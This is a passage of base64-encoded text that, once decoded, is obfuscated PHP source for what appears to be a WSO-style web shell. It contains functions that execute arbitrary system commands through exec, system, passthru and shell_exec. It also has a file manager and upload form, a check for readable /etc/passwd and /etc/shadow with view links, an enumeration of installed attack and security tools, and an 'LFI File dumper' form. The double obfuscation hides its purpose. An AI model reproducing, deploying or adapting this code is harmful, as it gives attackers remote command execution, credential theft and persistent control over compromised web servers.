XRoWyRqXS4nLyc7IA0KICAgICAgICAkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7IA0KICAgIH0gDQogIA0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOyANCiAgICAkMnB0X2NoMXJzNXRzID0gJyc7IA0KICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKSANCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOyANCiAgDQogICAgJG0gPSAxcnIxeSgnUzVjIEluZjInPT4nUzVjSW5mMicsJ0Y0bDVzJz0+J0Y0bDVzTTFuJywnRXg1Yyc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BIUCBUMjJscyc9PidwaHB0MjJscycsJ0xGSSc9PidsZjRzYzFuJywnUGhwJz0+J1BocCcsJ1MxZjUgbTJkNSc9PidTMWY1TTJkNScsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ1hTUyBTaDVsbCc9PidYU1NTaDVsbCcsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOyANCiAgICA0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkgDQogICAgICAgICRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOyANCiAgICAkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsgDQogICAgJG01bjMgPSAnJzsgDQogICAgZjJyNTFjaCgkbSAxcyAkayA9PiAkdikgDQogICAgICAgICRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPls8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT5dPC90aD4nOyANCiAgDQogICAgJGRyNHY1cyA9ICIiOyANCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgeyANCiAgICAgICAgZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpIA0KICAgICAgICA0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkgDQogICAgICAgICAgICAkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7IA0KICAgIH0gDQogICAgNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxicj5VczVyOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj5EcjR2NXM6JzonJykgLiAnPC9zcDFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bjJicj4nIC4gczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKSAuICcgPC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZjJudD4nKSANCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+RnI1NTo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7IA0KfSANCiAgDQpmM25jdDQybiB3czJGMjJ0NXIoKSB7IA0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nI2FpZmYwMCc+KFdyNHQ1MWJsNSk8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oTjJ0IHdyNHQxYmw1KTwvZjJudD4iOyANCiAgICA1Y2gyICIgDQogIA0KPC9kNHY+IA0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4gDQogICAgPHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgPC90cj48dHI+IA0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogIA0KICAgIDwvdHI+PHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4gDQogICAgICAgIDxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4gDQogIA0KICAgIDwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7IA0KfSANCiAgDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQogIA0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7IA0KICAgICQyM3QgPSAnJzsgDQogICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7IA0KICAgICAgICBANXg1YygkNG4sJDIzdCk7IA0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBwMXNzdGhyMygkNG4pOyANCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBzeXN0NW0oJDRuKTsgDQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7IA0KICAgICAgICAkMjN0ID0gc2g1bGxfNXg1YygkNG4pOyANCiAgICB9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7IA0KICAgICAgICAkMjN0ID0gIiI7IA0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKSANCiAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7IA0KICAgICAgICBwY2wyczUoJGYpOyANCiAgICB9IA0KICAgIHI1dDNybiAkMjN0OyANCn0gDQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgeyANCiAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOyANCiAgICA1bHM1NGYoJHMgPj0gNjB1OGk3ZSkgDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7IA0KICAgIDVsczU0ZigkcyA+PSA2MGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsgDQogICAgNWxzNQ0KICAgICAgICByNXQzcm4gJHMgLiAnIEInOyANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsgDQogICAgNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOyANCiAgICA1bHM1ICQ0ID0gJzMnOyANCiAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOyANCiAgICByNXQzcm4gJDQ7IA0KfSANCiAgDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7IA0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkgDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKSANCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9IzAwQkIwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCn0gDQogIA0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7IA0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgeyANCiAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7IA0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01OyANCiAgICAgICAgcjV0M3JuICRmNGw1czsgDQogICAgfSANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsgDQogICAgJHAxdGggPSB3czJFeCgnd2g0Y2ggJyAuICRwKTsgDQogICAgNGYoITVtcHR5KCRwMXRoKSkgDQogICAgICAgIHI1dDNybiAkcDF0aDsgDQogICAgcjV0M3JuIGYxbHM1OyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TNXJ2NXIgczVjM3I0dHkgNG5mMnJtMXQ0Mm48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICBmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsgDQogICAgICAgICR2ID0gdHI0bSgkdik7IA0KICAgICAgICA0ZigkdikgeyANCiAgICAgICAgICAgIDVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOyANCiAgICAgICAgICAgIDRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KSANCiAgICAgICAgICAgICAgICA1Y2gyICR2IC4gJzxicj4nOyANCiAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsgDQogICAgICAgIH0gDQogICAgfSANCiAgDQogICAgd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsgDQogICAgd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOyANCiAgICB3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsgDQogICAgd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsgDQogICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkgDQogICAgICAgICR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiTVNTUUwiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiUDJzdGdyNVNRTCI7IA0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiT3IxY2w1IjsgDQogICAgd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7IA0KICAgIDVjaDIgJzxicj4nOyANCiAgDQogICAgNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7IA0KICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7IA0KICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7IA0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7IA0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyPic7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkgDQogICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOyANCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7IA0KICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyLz4nOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOyANCiAgICAgICAgfSANCiAgICB9IDVsczUgeyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsd3MyRXgoJ241dCAxY2MyM250cycpKTsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybmxmNHNjMW4oKSB7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICBwcjRudCAnIA0KICAgPGhvPkw1ZC1aNXBwNWw0blwncyBMRkkgRjRsNSBkM21wNXI8L2hvPiANCiAgDQogICA8ZjJybSBtNXRoMmQ9InAyc3QiIDFjdDQybj0iPyI+PDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9ImxmNHNjMW4iPiANCiAgICAgIExGSSBVUkw6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJlMCIgbjFtNT0ibGY0M3JsIiB2MWwzNT0iIj4gPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IkcyIj4gRjRsNTogPHM1bDVjdCBuMW01PSJzYzFudHlwNSI+IA0KICAgICAgICAgPDJwdDQybiB2MWwzNT0iNiI+IA0KICAgICAgICAgICAgQWNjNXNzIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJhIj4gDQogICAgICAgICAgICBodHRwZC5jMm5mIA0KICAgICAgICAgPC8ycHQ0Mm4+IA0KICANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9Im8iPiANCiAgICAgICAgICAgIEVycjJyIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9InUiPiANCiAgICAgICAgICAgIHBocC40bjQgDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJpIj4gDQogICAgICAgICAgICBNeVNRTCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9ImUiPiANCiAgICAgICAgICAgIEZUUCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9IjciPiANCiAgICAgICAgICAgIEVudjRyMm4gDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICA8L3M1bDVjdD4gTjNsbDogPHM1bDVjdCBuMW01PSJuM2xsIj4gDQogICAgI